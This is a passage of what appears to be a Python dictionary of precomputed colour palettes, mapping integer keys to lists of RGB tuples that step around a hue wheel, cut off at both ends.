(195, 204, 101), (189, 204, 101), (183, 204, 101), (177, 204, 101), (171, 204, 101), (166, 204, 101), (160, 204, 101), (154, 204, 101), (148, 204, 101), (142, 204, 101), (136, 204, 101), (131, 204, 101), (125, 204, 101), (119, 204, 101), (113, 204, 101), (107, 204, 101), (101, 204, 102), (101, 204, 107), (101, 204, 113), (101, 204, 119), (101, 204, 125), (101, 204, 131), (101, 204, 136), (101, 204, 142), (101, 204, 148), (101, 204, 154), (101, 204, 160), (101, 204, 166), (101, 204, 171), (101, 204, 177), (101, 204, 183), (101, 204, 189), (101, 204, 195), (101, 204, 201), (101, 201, 204), (101, 195, 204), (101, 189, 204), (101, 183, 204), (101, 177, 204), (101, 171, 204), (101, 166, 204), (101, 160, 204), (101, 154, 204), (101, 148, 204), (101, 142, 204), (101, 136, 204), (101, 131, 204), (101, 125, 204), (101, 119, 204), (101, 113, 204), (101, 107, 204), (101, 101, 204), (107, 101, 204), (113, 101, 204), (119, 101, 204), (125, 101, 204), (131, 101, 204), (136, 101, 204), (142, 101, 204), (148, 101, 204), (154, 101, 204), (160, 101, 204), (166, 101, 204), (171, 101, 204), (177, 101, 204), (183, 101, 204), (189, 101, 204), (195, 101, 204), (201, 101, 204), (204, 101, 201), (204, 101, 195), (204, 101, 189), (204, 101, 183), (204, 101, 177), (204, 101, 171), (204, 101, 166), (204, 101, 160), (204, 101, 154), (204, 101, 148), (204, 101, 142), (204, 101, 136), (204, 101, 131), (204, 101, 125), (204, 101, 119), (204, 101, 113), (204, 101, 107)], 106: [(204, 101, 101), (204, 107, 101), (204, 113, 101), (204, 119, 101), (204, 125, 101), (204, 130, 101), (204, 136, 101), (204, 142, 101), (204, 148, 101), (204, 153, 101), (204, 159, 101), (204, 165, 101), (204, 171, 101), (204, 177, 101), (204, 182, 101), (204, 188, 101), (204, 194, 101), (204, 200, 101), (202, 204, 101), (196, 204, 101), (190, 204, 101), (184, 204, 101), (178, 204, 101), (173, 204, 101), (167, 204, 101), (161, 204, 101), (155, 204, 101), (150, 204, 101), (144, 204, 101), (138, 204, 101), (132, 204, 101), (127, 204, 101), (121, 204, 101), (115, 204, 101), (109, 204, 101), (103, 204, 101), (101, 204, 105), (101, 204, 111), (101, 204, 117), (101, 204, 123), (101, 204, 128), (101, 204, 134), (101, 204, 140), (101, 204, 146), (101, 204, 152), (101, 204, 157), (101, 204, 163), (101, 204, 169), (101, 204, 175), (101, 204, 180), (101, 204, 186), (101, 204, 192), (101, 204, 198), (101, 204, 204), (101, 198, 204), (101, 192, 204), (101, 186, 204), (101, 180, 204), (101, 175, 204), (101, 169, 204), (101, 163, 204), (101, 157, 204), (101, 152, 204), (101, 146, 204), (101, 140, 204), (101, 134, 204), (101, 128, 204), (101, 123, 204), (101, 117, 204), (101, 111, 204), (101, 105, 204), (103, 101, 204), (109, 101, 204), (115, 101, 204), (121, 101, 204), (127, 101, 204), (132, 101, 204), (138, 101, 204), (144, 101, 204), (150, 101, 204), (155, 101, 204), (161, 101, 204), (167, 101, 204), (173, 101, 204), (178, 101, 204), (184, 101, 204), (190, 101, 204), (196, 101, 204), (202, 101, 204), (204, 101, 200), (204, 101, 194), (204, 101, 188), (204, 101, 182), (204, 101, 177), (204, 101, 171), (204, 101, 165), (204, 101, 159), (204, 101, 153), (204, 101, 148), (204, 101, 142), (204, 101, 136), (204, 101, 130), (204, 101, 125), (204, 101, 119), (204, 101, 113), (204, 101, 107)], 107: [(204, 101, 101), (204, 107, 101), (204, 113, 101), (204, 119, 101), (204, 124, 101), (204, 130, 101), (204, 136, 101), (204, 142, 101), (204, 147, 101), (204, 153, 101), (204, 159, 101), (204, 164, 101), (204, 170, 101), (204, 176, 101), (204, 182, 101), (204, 187, 101), (204, 193, 101), (204, 199, 101), (203, 204, 101), (197, 204, 101), (191, 204, 101), (185, 204, 101), (180, 204, 101), (174, 204, 101), (168, 204, 101), (163, 204, 101), (157, 204, 101), (151, 204, 101), (145, 204, 101), (140, 204, 101), (134, 204, 101), (128, 204, 101), (122, 204, 101), (117, 204, 101), (111, 204, 101), (105, 204, 101), (101, 204, 103), (101, 204, 109), (101, 204, 115), (101, 204, 121), (101, 204, 126), (101, 204, 132), (101, 204, 138), (101, 204, 143), (101, 204, 149), (101, 204, 155), (101, 204, 161), (101, 204, 166), (101, 204, 172), (101, 204, 178), (101, 204, 183), (101, 204, 189), (101, 204, 195), (101, 204, 201), (101, 201, 204), (101, 195, 204), (101, 189, 204), (101, 183, 204), (101, 178, 204), (101, 172, 204), (101, 166, 204), (101, 161, 204), (101, 155, 204), (101, 149, 204), (101, 143, 204), (101, 138, 204), (101, 132, 204), (101, 126, 204), (101, 121, 204), (101, 115, 204), (101, 109, 204), (101, 103, 204), (105, 101, 204), (111, 101, 204), (117, 101, 204), (122, 101, 204), (128, 101, 204), (134, 101, 204), (140, 101, 204), (145, 101, 204), (151, 101, 204), (157, 101, 204), (163, 101, 204), (168, 101, 204), (174, 101, 204), (180, 101, 204), (185, 101, 204), (191, 101, 204), (197, 101, 204), (203, 101, 204), (204, 101, 199), (204, 101, 193), (204, 101, 187), (204, 101, 182), (204, 101, 176), (204, 101, 170), (204, 101, 164), (204, 101, 159), (204, 101, 153), (204, 101, 147), (204, 101, 142), (204, 101, 136), (204, 101, 130), (204, 101, 124), (204, 101, 119), (204, 101, 113), (204, 101, 107)], 108: [(204, 101, 101), (204, 107, 101), (204, 113, 101), (204, 118, 101), (204, 124, 101), (204, 130, 101), (204, 136, 101), (204, 141, 101), (204, 147, 101), (204, 152, 101), (204, 158, 101), (204, 164, 101), (204, 170, 101), (204, 175, 101), (204, 181, 101), (204, 186, 101), (204, 192, 101), (204, 198, 101), (204, 204, 101), (198, 204, 101), (192, 204, 101), (187, 204, 101), (181, 204, 101), (175, 204, 101), (169, 204, 101), (164, 204, 101), (158, 204, 101), (153, 204, 101), (147, 204, 101), (141, 204, 101), (136, 204, 101), (130, 204, 101), (124, 204, 101), (118, 204, 101), (113, 204, 101), (107, 204, 101), (102, 204, 101), (101, 204, 107), (101, 204, 113), (101, 204, 119), (101, 204, 124), (101, 204, 130), (101, 204, 135), (101, 204, 141), (101, 204, 147), (101, 204, 152), (101, 204, 158), (101, 204, 164), (101, 204, 170), (101, 204, 175), (101, 204, 181), (101, 204, 187), (101, 204, 192), (101, 204, 198), (101, 204, 204), (101, 198, 204), (101, 192, 204), (101, 187, 204), (101, 181, 204), (101, 175, 204), (101, 169, 204), (101, 164, 204), (101, 158, 204), (101, 153, 204), (101, 147, 204), (101, 141, 204), (101, 135, 204), (101, 130, 204), (101, 124, 204), (101, 118, 204), (101, 113, 204), (101, 107, 204), (101, 102, 204), (107, 101, 204), (113, 101, 204), (118, 101, 204), (124, 101, 204), (130, 101, 204), (136, 101, 204), (141, 101, 204), (147, 101, 204), (152, 101, 204), (158, 101, 204), (164, 101, 204), (169, 101, 204), (175, 101, 204), (181, 101, 204), (186, 101, 204), (192, 101, 204), (198, 101, 204), (203, 101, 204), (204, 101, 198), (204, 101, 192), (204, 101, 186), (204, 101, 181), (204, 101, 175), (204, 101, 169), (204, 101, 164), (204, 101, 158), (204, 101, 153), (204, 101, 147), (204, 101, 141), (204, 101, 135), (204, 101, 130), (204, 101, 124), (204, 101, 118), (204, 101, 113), (204, 101, 107)], 109: [(204, 101, 101), (204, 107, 101), (204, 113, 101), (204, 118, 101), (204, 124, 101), (204, 130, 101), (204, 135, 101), (204, 141, 101), (204, 146, 101), (204, 152, 101), (204, 158, 101), (204, 163, 101), (204, 169, 101), (204, 174, 101), (204, 180, 101), (204, 186, 101), (204, 191, 101), (204, 197, 101), (204, 203, 101), (199, 204, 101), (193, 204, 101), (188, 204, 101), (182, 204, 101), (176, 204, 101), (171, 204, 101), (165, 204, 101), (160, 204, 101), (154, 204, 101), (148, 204, 101), (143, 204, 101), (137, 204, 101), (131, 204, 101), (126, 204, 101), (120, 204, 101), (115, 204, 101), (109, 204, 101), (103, 204, 101), (101, 204, 105), (101, 204, 111), (101, 204, 116), (101, 204, 122), (101, 204, 128), (101, 204, 133), (101, 204, 139), (101, 204, 145), (101, 204, 150), (101, 204, 156), (101, 204, 161), (101, 204, 167), (101, 204, 173), (101, 204, 178), (101, 204, 184), (101, 204, 189), (101, 204, 195), (101, 204, 201), (101, 201, 204), (101, 195, 204), (101, 189, 204), (101, 184, 204), (101, 178, 204), (101, 173, 204), (101, 167, 204), (101, 161, 204), (101, 156, 204), (101, 150, 204), (101, 145, 204), (101, 139, 204), (101, 133, 204), (101, 128, 204), (101, 122, 204), (101, 116, 204), (101, 111, 204), (101, 105, 204), (103, 101, 204), (109, 101, 204), (115, 101, 204), (120, 101, 204), (126, 101, 204), (131, 101, 204), (137, 101, 204), (143, 101, 204), (148, 101, 204), (154, 101, 204), (160, 101, 204), (165, 101, 204), (171, 101, 204), (176, 101, 204), (182, 101, 204), (188, 101, 204), (193, 101, 204), (199, 101, 204), (204, 101, 203), (204, 101, 197), (204, 101, 191), (204, 101, 186), (204, 101, 180), (204, 101, 174), (204, 101, 169), (204, 101, 163), (204, 101, 158), (204, 101, 152), (204, 101, 146), (204, 101, 141), (204, 101, 135), (204, 101, 130), (204, 101, 124), (204, 101, 118), (204, 101, 113), (204, 101, 107)], 110: [(204, 101, 101), (204, 107, 101), (204, 113, 101), (204, 118, 101), (204, 124, 101), (204, 129, 101), (204, 135, 101), (204, 140, 101), (204, 146, 101), (204, 152, 101), (204, 157, 101), (204, 163, 101), (204, 168, 101), (204, 174, 101), (204, 179, 101), (204, 185, 101), (204, 191, 101), (204, 196, 101), (204, 202, 101), (200, 204, 101), (194, 204, 101), (189, 204, 101), (183, 204, 101), (178, 204, 101), (172, 204, 101), (166, 204, 101), (161, 204, 101), (155, 204, 101), (150, 204, 101), (144, 204, 101), (139, 204, 101), (133, 204, 101), (127, 204, 101), (122, 204, 101), (116, 204, 101), (111, 204, 101), (105, 204, 101), (101, 204, 103), (101, 204, 109), (101, 204, 114), (101, 204, 120), (101, 204, 126), (101, 204, 131), (101, 204, 137), (101, 204, 142), (101, 204, 148), (101, 204, 153), (101, 204, 159), (101, 204, 165), (101, 204, 170), (101, 204, 176), (101, 204, 181), (101, 204, 187), (101, 204, 192), (101, 204, 198), (101, 204, 204), (101, 198, 204), (101, 192, 204), (101, 187, 204), (101, 181, 204), (101, 176, 204), (101, 170, 204), (101, 165, 204), (101, 159, 204), (101, 153, 204), (101, 148, 204), (101, 142, 204), (101, 137, 204), (101, 131, 204), (101, 126, 204), (101, 120, 204), (101, 114, 204), (101, 109, 204), (101, 103, 204), (105, 101, 204), (111, 101, 204), (116, 101, 204), (122, 101, 204), (127, 101, 204), (133, 101, 204), (139, 101, 204), (144, 101, 204), (150, 101, 204), (155, 101, 204), (161, 101, 204), (166, 101, 204), (172, 101, 204), (178, 101, 204), (183, 101, 204), (189, 101, 204), (194, 101, 204), (200, 101, 204), (204, 101, 202), (204, 101, 196), (204, 101, 191), (204, 101, 185), (204, 101, 179), (204, 101, 174), (204, 101, 168), (204, 101, 163), (204, 101, 157), (204, 101, 152), (204, 101, 146), (204, 101, 140), (204, 101, 135), (204, 101, 129), (204, 101, 124), (204, 101, 118), (204, 101, 113), (204, 101, 107)], 111: [(204, 101, 101), (204, 107, 101), (204, 113, 101), (204, 118, 101), (204, 124, 101), (204, 129, 101), (204, 135, 101), (204, 140, 101), (204, 146, 101), (204, 151, 101), (204, 157, 101), (204, 162, 101), (204, 168, 101), (204, 173, 101), (204, 179, 101), (204, 184, 101), (204, 190, 101), (204, 195, 101), (204, 201, 101), (201, 204, 101), (195, 204, 101), (190, 204, 101), (184, 204, 101), (179, 204, 101), (173, 204, 101), (168, 204, 101), (162, 204, 101), (157, 204, 101), (151, 204, 101), (146, 204, 101), (140, 204, 101), (135, 204, 101), (129, 204, 101), (124, 204, 101), (118, 204, 101), (113, 204, 101), (107, 204, 101), (102, 204, 101), (101, 204, 107), (101, 204, 113), (101, 204, 118), (101, 204, 124), (101, 204, 129), (101, 204, 135), (101, 204, 140), (101, 204, 146), (101, 204, 151), (101, 204, 157), (101, 204, 162), (101, 204, 168), (101, 204, 173), (101, 204, 179), (101, 204, 184), (101, 204, 190), (101, 204, 195), (101, 204, 201), (101, 201, 204), (101, 195, 204), (101, 190, 204), (101, 184, 204), (101, 179, 204), (101, 173, 204), (101, 168, 204), (101, 162, 204), (101, 157, 204), (101, 151, 204), (101, 146, 204), (101, 140, 204), (101, 135, 204), (101, 129, 204), (101, 124, 204), (101, 118, 204), (101, 113, 204), (101, 107, 204), (101, 102, 204), (107, 101, 204), (113, 101, 204), (118, 101, 204), (124, 101, 204), (129, 101, 204), (135, 101, 204), (140, 101, 204), (146, 101, 204), (151, 101, 204), (157, 101, 204), (162, 101, 204), (168, 101, 204), (173, 101, 204), (179, 101, 204), (184, 101, 204), (190, 101, 204), (195, 101, 204), (201, 101, 204), (204, 101, 201), (204, 101, 195), (204, 101, 190), (204, 101, 184), (204, 101, 179), (204, 101, 173), (204, 101, 168), (204, 101, 162), (204, 101, 157), (204, 101, 151), (204, 101, 146), (204, 101, 140), (204, 101, 135), (204, 101, 129), (204, 101, 124), (204, 101, 118), (204, 101, 113), (204, 101, 107)], 112: [(204, 101, 101), (204, 107, 101), (204, 112, 101), (204, 118, 101), (204, 123, 101), (204, 129, 101), (204, 134, 101), (204, 140, 101), (204, 145, 101), (204, 151, 101), (204, 156, 101), (204, 162, 101), (204, 167, 101), (204, 173, 101), (204, 178, 101), (204, 183, 101), (204, 189, 101), (204, 194, 101), (204, 200, 101), (202, 204, 101), (196, 204, 101), (191, 204, 101), (185, 204, 101), (180, 204, 101), (174, 204, 101), (169, 204, 101), (163, 204, 101), (158, 204, 101), (153, 204, 101), (147, 204, 101), (142, 204, 101), (136, 204, 101), (131, 204, 101), (125, 204, 101), (120, 204, 101), (114, 204, 101), (109, 204, 101), (103, 204, 101), (101, 204, 105), (101, 204, 111), (101, 204, 116), (101, 204, 122), (101, 204, 127), (101, 204, 132), (101, 204, 138), (101, 204, 143), (101, 204, 149), (101, 204, 154), (101, 204, 160), (101, 204, 165), (101, 204, 171), (101, 204, 176), (101, 204, 182), (101, 204, 187), (101, 204, 193), (101, 204, 198), (101, 204, 204), (101, 198, 204), (101, 193, 204), (101, 187, 204), (101, 182, 204), (101, 176, 204), (101, 171, 204), (101, 165, 204), (101, 160, 204), (101, 154, 204), (101, 149, 204), (101, 143, 204), (101, 138, 204), (101, 132, 204), (101, 127, 204), (101, 122, 204), (101, 116, 204), (101, 111, 204), (101, 105, 204), (103, 101, 204), (109, 101, 204), (114, 101, 204), (120, 101, 204), (125, 101, 204), (131, 101, 204), (136, 101, 204), (142, 101, 204), (147, 101, 204), (152, 101, 204), (158, 101, 204), (163, 101, 204), (169, 101, 204), (174, 101, 204), (180, 101, 204), (185, 101, 204), (191, 101, 204), (196, 101, 204), (202, 101, 204), (204, 101, 200), (204, 101, 194), (204, 101, 189), (204, 101, 183), (204, 101, 178), (204, 101, 173), (204, 101, 167), (204, 101, 162), (204, 101, 156), (204, 101, 151), (204, 101, 145), (204, 101, 140), (204, 101, 134), (204, 101, 129), (204, 101, 123), (204, 101, 118), (204, 101, 112), (204, 101, 107)], 113: [(204, 101, 101), (204, 107, 101), (204, 112, 101), (204, 118, 101), (204, 123, 101), (204, 129, 101), (204, 134, 101), (204, 139, 101), (204, 145, 101), (204, 150, 101), (204, 156, 101), (204, 161, 101), (204, 166, 101), (204, 172, 101), (204, 177, 101), (204, 183, 101), (204, 188, 101), (204, 194, 101), (204, 199, 101), (203, 204, 101), (197, 204, 101), (192, 204, 101), (186, 204, 101), (181, 204, 101), (176, 204, 101), (170, 204, 101), (165, 204, 101), (159, 204, 101), (154, 204, 101), (148, 204, 101), (143, 204, 101), (138, 204, 101), (132, 204, 101), (127, 204, 101), (121, 204, 101), (116, 204, 101), (111, 204, 101), (105, 204, 101), (101, 204, 103), (101, 204, 109), (101, 204, 114), (101, 204, 120), (101, 204, 125), (101, 204, 130), (101, 204, 136), (101, 204, 141), (101, 204, 147), (101, 204, 152), (101, 204, 157), (101, 204, 163), (101, 204, 168), (101, 204, 174), (101, 204, 179), (101, 204, 185), (101, 204, 190), (101, 204, 195), (101, 204, 201), (101, 201, 204), (101, 195, 204), (101, 190, 204), (101, 185, 204), (101, 179, 204), (101, 174, 204), (101, 168, 204), (101, 163, 204), (101, 157, 204), (101, 152, 204), (101, 147, 204), (101, 141, 204), (101, 136, 204), (101, 130, 204), (101, 125, 204), (101, 120, 204), (101, 114, 204), (101, 109, 204), (101, 103, 204), (105, 101, 204), (111, 101, 204), (116, 101, 204), (121, 101, 204), (127, 101, 204), (132, 101, 204), (138, 101, 204), (143, 101, 204), (148, 101, 204), (154, 101, 204), (159, 101, 204), (165, 101, 204), (170, 101, 204), (176, 101, 204), (181, 101, 204), (186, 101, 204), (192, 101, 204), (197, 101, 204), (203, 101, 204), (204, 101, 199), (204, 101, 194), (204, 101, 188), (204, 101, 183), (204, 101, 177), (204, 101, 172), (204, 101, 166), (204, 101, 161), (204, 101, 156), (204, 101, 150), (204, 101, 145), (204, 101, 139), (204, 101, 134), (204, 101, 129), (204, 101, 123), (204, 101, 118), (204, 101, 112), (204, 101, 107)], 114: [(204, 101, 101), (204, 107, 101), (204, 112, 101), (204, 118, 101), (204, 123, 101), (204, 128, 101), (204, 134, 101), (204, 139, 101), (204, 144, 101), (204, 150, 101), (204, 155, 101), (204, 161, 101), (204, 166, 101), (204, 171, 101), (204, 177, 101), (204, 182, 101), (204, 187, 101), (204, 193, 101), (204, 198, 101), (204, 204, 101), (198, 204, 101), (193, 204, 101), (187, 204, 101), (182, 204, 101), (177, 204, 101), (171, 204, 101), (166, 204, 101), (161, 204, 101), (155, 204, 101), (150, 204, 101), (144, 204, 101), (139, 204, 101), (134, 204, 101), (128, 204, 101), (123, 204, 101), (118, 204, 101), (112, 204, 101), (107, 204, 101), (102, 204, 101), (101, 204, 107), (101, 204, 112), (101, 204, 118), (101, 204, 123), (101, 204, 128), (101, 204, 134), (101, 204, 139), (101, 204, 144), (101, 204, 150), (101, 204, 155), (101, 204, 161), (101, 204, 166), (101, 204, 171), (101, 204, 177), (101, 204, 182), (101, 204, 187), (101, 204, 193), (101, 204, 198), (101, 204, 204), (101, 198, 204), (101, 193, 204), (101, 187, 204), (101, 182, 204), (101, 177, 204), (101, 171, 204), (101, 166, 204), (101, 161, 204), (101, 155, 204), (101, 150, 204), (101, 144, 204), (101, 139, 204), (101, 134, 204), (101, 128, 204), (101, 123, 204), (101, 118, 204), (101, 112, 204), (101, 107, 204), (101, 102, 204), (107, 101, 204), (112, 101, 204), (118, 101, 204), (123, 101, 204), (128, 101, 204), (134, 101, 204), (139, 101, 204), (144, 101, 204), (150, 101, 204), (155, 101, 204), (161, 101, 204), (166, 101, 204), (171, 101, 204), (177, 101, 204), (182, 101, 204), (187, 101, 204), (193, 101, 204), (198, 101, 204), (203, 101, 204), (204, 101, 198), (204, 101, 193), (204, 101, 187), (204, 101, 182), (204, 101, 177), (204, 101, 171), (204, 101, 166), (204, 101, 161), (204, 101, 155), (204, 101, 150), (204, 101, 144), (204, 101, 139), (204, 101, 134), (204, 101, 128), (204, 101, 123), (204, 101, 118), (204, 101, 112), (204, 101, 107)], 115: [(204, 101, 101), (204, 107, 101), (204, 112, 101), (204, 117, 101), (204, 123, 101), (204, 128, 101), (204, 133, 101), (204, 139, 101), (204, 144, 101), (204, 149, 101), (204, 155, 101), (204, 160, 101), (204, 165, 101), (204, 171, 101), (204, 176, 101), (204, 181, 101), (204, 187, 101), (204, 192, 101), (204, 197, 101), (204, 203, 101), (199, 204, 101), (194, 204, 101), (188, 204, 101), (183, 204, 101), (178, 204, 101), (172, 204, 101), (167, 204, 101), (162, 204, 101), (156, 204, 101), (151, 204, 101), (146, 204, 101), (141, 204, 101), (135, 204, 101), (130, 204, 101), (125, 204, 101), (119, 204, 101), (114, 204, 101), (109, 204, 101), (103, 204, 101), (101, 204, 105), (101, 204, 110), (101, 204, 116), (101, 204, 121), (101, 204, 126), (101, 204, 132), (101, 204, 137), (101, 204, 142), (101, 204, 148), (101, 204, 153), (101, 204, 158), (101, 204, 164), (101, 204, 169), (101, 204, 174), (101, 204, 180), (101, 204, 185), (101, 204, 190), (101, 204, 196), (101, 204, 201), (101, 201, 204), (101, 196, 204), (101, 190, 204), (101, 185, 204), (101, 180, 204), (101, 174, 204), (101, 169, 204), (101, 164, 204), (101, 158, 204), (101, 153, 204), (101, 148, 204), (101, 142, 204), (101, 137, 204), (101, 132, 204), (101, 126, 204), (101, 121, 204), (101, 116, 204), (101, 110, 204), (101, 105, 204), (103, 101, 204), (109, 101, 204), (114, 101, 204), (119, 101, 204), (125, 101, 204), (130, 101, 204), (135, 101, 204), (141, 101, 204), (146, 101, 204), (151, 101, 204), (156, 101, 204), (162, 101, 204), (167, 101, 204), (172, 101, 204), (178, 101, 204), (183, 101, 204), (188, 101, 204), (194, 101, 204), (199, 101, 204), (204, 101, 203), (204, 101, 197), (204, 101, 192), (204, 101, 187), (204, 101, 181), (204, 101, 176), (204, 101, 171), (204, 101, 165), (204, 101, 160), (204, 101, 155), (204, 101, 149), (204, 101, 144), (204, 101, 139), (204, 101, 133), (204, 101, 128), (204, 101, 123), (204, 101, 117), (204, 101, 112), (204, 101, 107)], 116: [(204, 101, 101), (204, 107, 101), (204, 112, 101), (204, 117, 101), (204, 123, 101), (204, 128, 101), (204, 133, 101), (204, 138, 101), (204, 144, 101), (204, 149, 101), (204, 154, 101), (204, 160, 101), (204, 165, 101), (204, 170, 101), (204, 175, 101), (204, 181, 101), (204, 186, 101), (204, 191, 101), (204, 196, 101), (204, 202, 101), (200, 204, 101), (195, 204, 101), (189, 204, 101), (184, 204, 101), (179, 204, 101), (174, 204, 101), (168, 204, 101), (163, 204, 101), (158, 204, 101), (153, 204, 101), (147, 204, 101), (142, 204, 101), (137, 204, 101), (131, 204, 101), (126, 204, 101), (121, 204, 101), (116, 204, 101), (110, 204, 101), (105, 204, 101), (101, 204, 103), (101, 204, 109), (101, 204, 114), (101, 204, 119), (101, 204, 124), (101, 204, 130), (101, 204, 135), (101, 204, 140), (101, 204, 145), (101, 204, 151), (101, 204, 156), (101, 204, 161), (101, 204, 167), (101, 204, 172), (101, 204, 177), (101, 204, 182), (101, 204, 188), (101, 204, 193), (101, 204, 198), (101, 204, 204), (101, 198, 204), (101, 193, 204), (101, 188, 204), (101, 182, 204), (101, 177, 204), (101, 172, 204), (101, 167, 204), (101, 161, 204), (101, 156, 204), (101, 151, 204), (101, 145, 204), (101, 140, 204), (101, 135, 204), (101, 130, 204), (101, 124, 204), (101, 119, 204), (101, 114, 204), (101, 109, 204), (101, 103, 204), (105, 101, 204), (110, 101, 204), (116, 101, 204), (121, 101, 204), (126, 101, 204), (131, 101, 204), (137, 101, 204), (142, 101, 204), (147, 101, 204), (152, 101, 204), (158, 101, 204), (163, 101, 204), (168, 101, 204), (174, 101, 204), (179, 101, 204), (184, 101, 204), (189, 101, 204), (195, 101, 204), (200, 101, 204), (204, 101, 202), (204, 101, 196), (204, 101, 191), (204, 101, 186), (204, 101, 181), (204, 101, 175), (204, 101, 170), (204, 101, 165), (204, 101, 160), (204, 101, 154), (204, 101, 149), (204, 101, 144), (204, 101, 138), (204, 101, 133), (204, 101, 128), (204, 101, 123), (204, 101, 117), (204, 101, 112), (204, 101, 107)], 117: [(204, 101, 101), (204, 107, 101), (204, 112, 101), (204, 117, 101), (204, 122, 101), (204, 128, 101), (204, 133, 101), (204, 138, 101), (204, 143, 101), (204, 149, 101), (204, 154, 101), (204, 159, 101), (204, 164, 101), (204, 170, 101), (204, 175, 101), (204, 180, 101), (204, 185, 101), (204, 190, 101), (204, 196, 101), (204, 201, 101), (201, 204, 101), (196, 204, 101), (190, 204, 101), (185, 204, 101), (180, 204, 101), (175, 204, 101), (169, 204, 101), (164, 204, 101), (159, 204, 101), (154, 204, 101), (149, 204, 101), (143, 204, 101), (138, 204, 101), (133, 204, 101), (128, 204, 101), (122, 204, 101), (117, 204, 101), (112, 204, 101), (107, 204, 101), (101, 204, 102), (101, 204, 107), (101, 204, 112), (101, 204, 117), (101, 204, 122), (101, 204, 128), (101, 204, 133), (101, 204, 138), (101, 204, 143), (101, 204, 149), (101, 204, 154), (101, 204, 159), (101, 204, 164), (101, 204, 170), (101, 204, 175), (101, 204, 180), (101, 204, 185), (101, 204, 190), (101, 204, 196), (101, 204, 201), (101, 201, 204), (101, 196, 204), (101, 190, 204), (101, 185, 204), (101, 180, 204), (101, 175, 204), (101, 169, 204), (101, 164, 204), (101, 159, 204), (101, 154, 204), (101, 149, 204), (101, 143, 204), (101, 138, 204), (101, 133, 204), (101, 128, 204), (101, 122, 204), (101, 117, 204), (101, 112, 204), (101, 107, 204), (101, 101, 204), (107, 101, 204), (112, 101, 204), (117, 101, 204), (122, 101, 204), (128, 101, 204), (133, 101, 204), (138, 101, 204), (143, 101, 204), (149, 101, 204), (154, 101, 204), (159, 101, 204), (164, 101, 204), (170, 101, 204), (175, 101, 204), (180, 101, 204), (185, 101, 204), (190, 101, 204), (196, 101, 204), (201, 101, 204), (204, 101, 201), (204, 101, 196), (204, 101, 190), (204, 101, 185), (204, 101, 180), (204, 101, 175), (204, 101, 169), (204, 101, 164), (204, 101, 159), (204, 101, 154), (204, 101, 149), (204, 101, 143), (204, 101, 138), (204, 101, 133), (204, 101, 128), (204, 101, 122), (204, 101, 117), (204, 101, 112), (204, 101, 107)], 118: [(204, 101, 101), (204, 107, 101), (204, 112, 101), (204, 117, 101), (204, 122, 101), (204, 127, 101), (204, 133, 101), (204, 138, 101), (204, 143, 101), (204, 148, 101), (204, 153, 101), (204, 159, 101), (204, 164, 101), (204, 169, 101), (204, 174, 101), (204, 179, 101), (204, 184, 101), (204, 190, 101), (204, 195, 101), (204, 200, 101), (202, 204, 101), (197, 204, 101), (191, 204, 101), (186, 204, 101), (181, 204, 101), (176, 204, 101), (171, 204, 101), (165, 204, 101), (160, 204, 101), (155, 204, 101), (150, 204, 101), (145, 204, 101), (140, 204, 101), (134, 204, 101), (129, 204, 101), (124, 204, 101), (119, 204, 101), (114, 204, 101), (108, 204, 101), (103, 204, 101), (101, 204, 105), (101, 204, 110), (101, 204, 115), (101, 204, 121), (101, 204, 126), (101, 204, 131), (101, 204, 136), (101, 204, 141), (101, 204, 146), (101, 204, 152), (101, 204, 157), (101, 204, 162), (101, 204, 167), (101, 204, 172), (101, 204, 178), (101, 204, 183), (101, 204, 188), (101, 204, 193), (101, 204, 198), (101, 204, 204), (101, 198, 204), (101, 193, 204), (101, 188, 204), (101, 183, 204), (101, 178, 204), (101, 172, 204), (101, 167, 204), (101, 162, 204), (101, 157, 204), (101, 152, 204), (101, 146, 204), (101, 141, 204), (101, 136, 204), (101, 131, 204), (101, 126, 204), (101, 121, 204), (101, 115, 204), (101, 110, 204), (101, 105, 204), (103, 101, 204), (108, 101, 204), (114, 101, 204), (119, 101, 204), (124, 101, 204), (129, 101, 204), (134, 101, 204), (140, 101, 204), (145, 101, 204), (150, 101, 204), (155, 101, 204), (160, 101, 204), (165, 101, 204), (171, 101, 204), (176, 101, 204), (181, 101, 204), (186, 101, 204), (191, 101, 204), (197, 101, 204), (202, 101, 204), (204, 101, 200), (204, 101, 195), (204, 101, 190), (204, 101, 184), (204, 101, 179), (204, 101, 174), (204, 101, 169), (204, 101, 164), (204, 101, 159), (204, 101, 153), (204, 101, 148), (204, 101, 143), (204, 101, 138), (204, 101, 133), (204, 101, 127), (204, 101, 122), (204, 101, 117), (204, 101, 112), (204, 101, 107)], 119: [(204, 101, 101), (204, 107, 101), (204, 112, 101), (204, 117, 101), (204, 122, 101), (204, 127, 101), (204, 132, 101), (204, 138, 101), (204, 143, 101), (204, 148, 101), (204, 153, 101), (204, 158, 101), (204, 163, 101), (204, 168, 101), (204, 174, 101), (204, 179, 101), (204, 184, 101), (204, 189, 101), (204, 194, 101), (204, 199, 101), (203, 204, 101), (198, 204, 101), (192, 204, 101), (187, 204, 101), (182, 204, 101), (177, 204, 101), (172, 204, 101), (167, 204, 101), (162, 204, 101), (156, 204, 101), (151, 204, 101), (146, 204, 101), (141, 204, 101), (136, 204, 101), (131, 204, 101), (125, 204, 101), (120, 204, 101), (115, 204, 101), (110, 204, 101), (105, 204, 101), (101, 204, 103), (101, 204, 108), (101, 204, 114), (101, 204, 119), (101, 204, 124), (101, 204, 129), (101, 204, 134), (101, 204, 139), (101, 204, 144), (101, 204, 149), (101, 204, 155), (101, 204, 160), (101, 204, 165), (101, 204, 170), (101, 204, 175), (101, 204, 180), (101, 204, 186), (101, 204, 191), (101, 204, 196), (101, 204, 201), (101, 201, 204), (101, 196, 204), (101, 191, 204), (101, 186, 204), (101, 180, 204), (101, 175, 204), (101, 170, 204), (101, 165, 204), (101, 160, 204), (101, 155, 204), (101, 149, 204), (101, 144, 204), (101, 139, 204), (101, 134, 204), (101, 129, 204), (101, 124, 204), (101, 119, 204), (101, 114, 204), (101, 108, 204), (101, 103, 204), (105, 101, 204), (110, 101, 204), (115, 101, 204), (120, 101, 204), (125, 101, 204), (131, 101, 204), (136, 101, 204), (141, 101, 204), (146, 101, 204), (151, 101, 204), (156, 101, 204), (161, 101, 204), (167, 101, 204), (172, 101, 204), (177, 101, 204), (182, 101, 204), (187, 101, 204), (192, 101, 204), (197, 101, 204), (203, 101, 204), (204, 101, 199), (204, 101, 194), (204, 101, 189), (204, 101, 184), (204, 101, 179), (204, 101, 173), (204, 101, 168), (204, 101, 163), (204, 101, 158), (204, 101, 153), (204, 101, 148), (204, 101, 143), (204, 101, 137), (204, 101, 132), (204, 101, 127), (204, 101, 122), (204, 101, 